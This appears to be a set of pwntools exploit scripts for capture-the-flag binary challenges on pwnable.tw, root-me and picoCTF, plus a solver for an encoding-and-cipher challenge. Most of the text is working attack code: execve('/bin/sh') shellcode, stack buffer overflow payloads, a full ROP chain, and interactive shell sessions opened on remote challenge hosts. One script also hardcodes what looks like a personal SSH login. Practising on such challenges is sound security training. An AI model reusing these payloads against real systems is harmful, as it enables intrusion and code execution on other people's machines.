exploits

pwnable-exploit.py

from pwn import *
import binascii

Remote = False

if (Remote):
    io = remote('chall.pwnable.tw','10000')
else:
    io = process('./start')

gdb.attach(io)


#payload = "A"*20
payload = '\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
payload += p32(0x08048087)



print(io.recvuntil(':'))
io.send(payload)
   
output = io.recv()

fin = output.encode('hex')

addr='0x'+fin[0:8]

final = p32(int(addr,16))

final_address=hex(unpack(final,'all', endian='big', sign=False))

inject = hex(int(final_address,16)-24)

print(inject)

ret2shell-exploit.py

from pwn import *

io = process('./ret2shellcode')

#gdb.attach(io)

payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += '\x90'*236
payload += p32(0x804a040)


io.send(payload)
io.interactive()

root-me-exploit.py

from pwn import *

s= ssh(host='challenge02.root-me.org',user='app-systeme-ch16',password='app-systeme-ch16')
io=s.process('./ch16')


payload = '\x08'*4
payload += p32(0xbffffabc)
io.sendline(payload)

io.interactive()

rop.py

#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack

REMOTE=True

if (REMOTE):
    s=ssh(host='2019shell1.picoctf.com',user='Arch3R',password='Archer@12345')
    io=s.process('./vuln',cwd='/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a')
else:
    io=process('./vuln')


p = ''
p += 'A'*28
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80


io.sendlineafter('?\n',p)
io.interactive()

scripting_challenge.py

from pwn import *
import base64

def detect(string):
    if '0x' in string :
        return 'hex'
    elif '=' in string :
        return 'base64'
    elif len(string) > 40 :
        return 'binary'
    elif string[0]=='0':
        return 'octal'
    else :
        return 'ascii'

def answer(message_type,message):
    final=''
    if message_type == 'hex':
        message_list = message.split()
        
        for i in message_list :
            final += i[2:].decode('hex')

    if message_type == 'base64':
        final = base64.b64decode(message)

    if message_type == 'binary':
        for i in message.split():
            final += chr(int(i,2))

    if message_type == 'ascii':
        for i in message.split():
            final += chr(int(i))
    
    if message_type == 'octal':
        for i in message.split():
            final += chr(int(i,8))

    return final


def caesar(message_2):
    pt=''
    ctext = message_2[18:23]
    key = int(message_2[33:])
    
    for i in ctext:
        pt += chr(((ord(i)-97)-key)%26+97)

    return pt


def main():
	c = remote('52.168.55.145' ,'9999')
        ret_message=''
	while(True):
	
            c.recvuntil('encoding: ')
    	    message = c.recvline()
    	    #print(message)
    	    message_type = detect(message)
    	    #print(answer(message_type,message))
    	    c.sendline(answer(message_type,message))
            end  = c.recvline()
            print(end)
            if 'stage-1' in end:
                print(c.recvline())
                while(True):
                    message_2=c.recvline()
                    
                    if 'Bravo' in message_2:
                        print(c.recvline())
                        print(c.recv())
                        break
                        


                    print(message_2)
                    print(caesar(message_2))
                    c.sendline(caesar(message_2))
                    



main()

start-pwnable.py

from pwn import *
import binascii

Remote = False


if (Remote):
    io = remote('chall.pwnable.tw','10000')
else:
    io = process('./start')

gdb.attach(io)
payload=''

payload2=''
payload += "\x90"*20
#payload = '\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
payload += p32(0x8048087)



print(io.recvuntil(':'))
io.send(payload)
   
output = io.recv()
print(output)

fin = output.encode('hex')
addr='0x'+fin[0:8]
final = p32(int(addr,16))
final_address=hex(unpack(final,'all', endian='big', sign=False))
in_addr = hex(int(final_address,16)+20)

print(in_addr)

payload2 += '\x90'*20
payload2 += p32(int(in_addr,16))

payload2 += '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
#payload2 += '\xcc'*20

io.send(payload2)
io.interactive()